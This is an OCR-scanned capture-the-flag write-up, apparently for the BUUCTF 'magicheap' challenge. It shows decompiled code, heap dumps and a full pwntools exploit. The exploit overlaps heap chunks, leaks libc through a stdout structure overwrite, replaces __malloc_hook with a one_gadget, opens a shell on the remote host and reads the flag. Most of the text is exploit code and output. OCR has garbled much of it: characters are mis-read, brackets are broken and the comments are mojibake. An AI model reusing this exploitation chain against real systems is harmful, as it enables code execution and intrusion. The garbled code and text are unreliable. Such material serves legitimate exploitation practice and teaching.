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: # checksec magicheap
[*] 'fhomefg1antbrancthesktopfbuuZ!maglcheap

Arch: amd64-64-1little
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int menu()

{
DUES (" = - < "y
puts(” Magic Heap Creator "y
O "y
puts("” 1. Create a Heap "y;
puts("” 2. Edit a Heap ");
puts("” 3. Delete a Heap "y;
puts(" 4. Exit "y
S "y
return printf("Your choice :");
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if ( v3 == 4869 )

{
if ( (unsigned  inté4)magic <= ©x1305 )
{
puts(”So sad !");
}
else
{
puts(“Congrt !");
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printf(“"Index :");
read(@, buf, 4uLL);
vl = atoi(buf);
if (vi<ceoe || vi>9)
{
puts("Out of bound!");
_exit(e);
}
if ( 'heaparray[vl] )
return puts("No such heap !");
printf("Size of Heap : ");
read(@, buf, 8ulLl);
v3 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[vl], v3);
return puts("Done !");
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2. #¥FFmalloc_hook, & & flione_gadget
3.Hi5fh K one_gadget
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add (0x60, 'AAA")
add(0x100, 'AAA")
add (0x60, 'AAA")
add (0x60, 'AAA")
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heap
Allocated chunk | PREV INUSE

0x71
Allocated chunk | PREV INUSE

Addr:
Size: 0Ox111

Allocated chunk | PREV INUSE

| PREV_INUSE
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free(2
edit(0,0x70, 'A'*0x60+p64(0)+p64(0x181



<-- fastbins[0x70]1[0]
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BB free(1),fEHIEHRK, FBEmain_arenatsftfEfastbind,

free(1l
add(ox100, "A’
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0x603180

<-- fastbins[0x70][0], fastbins[0x70][0], unsortedbin[all][0]
0x603190

Ox6031a0

Ox6031b0

Ox6031cO

0x6031d0O

0x6031e0

0x6031f0 CSON/GLee_ ee

«— 0x603180
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Ox70:

3 F >k 78 2% stdoutB Tl leak H Hi kit

add(0x60, 'A’

payload = 'A'*0x33
payload += p64(0xfbad1800
payload += p64(0)*3
payload += '\x00'

add(0x60, payload

leak = u64(io.recvuntil("\x7f")[-6:].1just(8, " \x00"
success(hex(leak

libc_base = leak-0x3c5600

T R IE% $h¥malloc_hook None_gadgetBli &]
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malloc_hook = libc_base + libc.sym
success(hex(malloc_hook

one = [Ox45226,0x4527a,0xf03a4,0xf1247

onel = [0x45216,0x4526a,0xf02a4,0xf1147

one_gadget = libc_base + one[3

add(0x60, 'ccccc’

free(3

edit(2,0x80, 'A'*Ox60+p64(0)+p64(0x71)+p64(malloc_hook-0x23

_ _malloc_hook"

add(ox60, 'A’
add(0x60, "A'*0x13+p64(one_gadget

choice(1

io.recvuntil
io.sendline( 20"

io.interactive

?‘E.%exp:

from pwn import *

elf = ELF('./magicheap’

io = remote('node4.buuoj.cn',27557
#1o = process('./magicheap")

#libc = elf.libc

libc = ELF('./1libc-2.23.s0"'
context.log _level='debug'

def choice(c
io.recvuntil
io.sendline(str(c

def add(size,content
choice(1
io.recvuntil(':"'
io.sendline(str(size

io.recvuntil
io.send(content



det edit(1ndex,size,content):
choice(2)

io.recvuntil(':")
io.sendline(str(index))
io.recvuntil(':")
io.sendline(str(size))
io.recvuntil(':")
io.send(content)

def free(index):
choice(3)
io.recvuntil(':")
io.sendline(str(index))

add
add
add
add

0x60, 'AAA")
0x100, 'AAA")
0x60, 'AAA")
0x60, 'AAA")

~ o~ o~ o~

free(2)
edit(0,0x70, 'A' *0x60+p64(0)+p64(0x181))

free(1)

add(0x100, 'A")

edit(1,0x120, 'A'*0x100+p64(0)+p64(0x71)+"'\xdd\x25")
gdb.attach(io)
add(0x60, 'A")

payload = 'A'*0x33

payload += p64(0xfbadl8600)
payload += p64(0)*3
payload += '\x00'

add(0x60,payload)

leak = u64(io.recvuntil('\x7f")[-6:].1just(8,"\x00"))
success(hex(leak))

libc_base = leak-0x3c5600

success(hex(libc_base))

malloc_hook = libc_base + libc.sym|[' malloc_hook"]
success(hex(malloc_hook))

#one = [0x45226,0x4527a,0xf03a4,0xf1247]

onel = [0Ox45216,0x4526a,0xf02a4,0xf1147 ]

one_gadget = libc_base + onel[3]

add(0x60, 'ccccc')

free(3)

edit(2,0x80, 'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))

add(ox60,'A")
add(0x60, 'A"*0x13+p64(one_gadget))

choice(1)
io.recvuntil(':")
io.sendline('20")

#gdb.attach(io)

io.interactive()



cat flag
[ ] Sent O0x9 bytes:

‘cat flag\n'

[ 1 Received 0x2b bytes:
'flag{2525befc-b7ae-4455-bb07-f9%6afld2bf9a}\n’

flag{2525befc-b7ae-4455-bb07-f96afld2bf9a}
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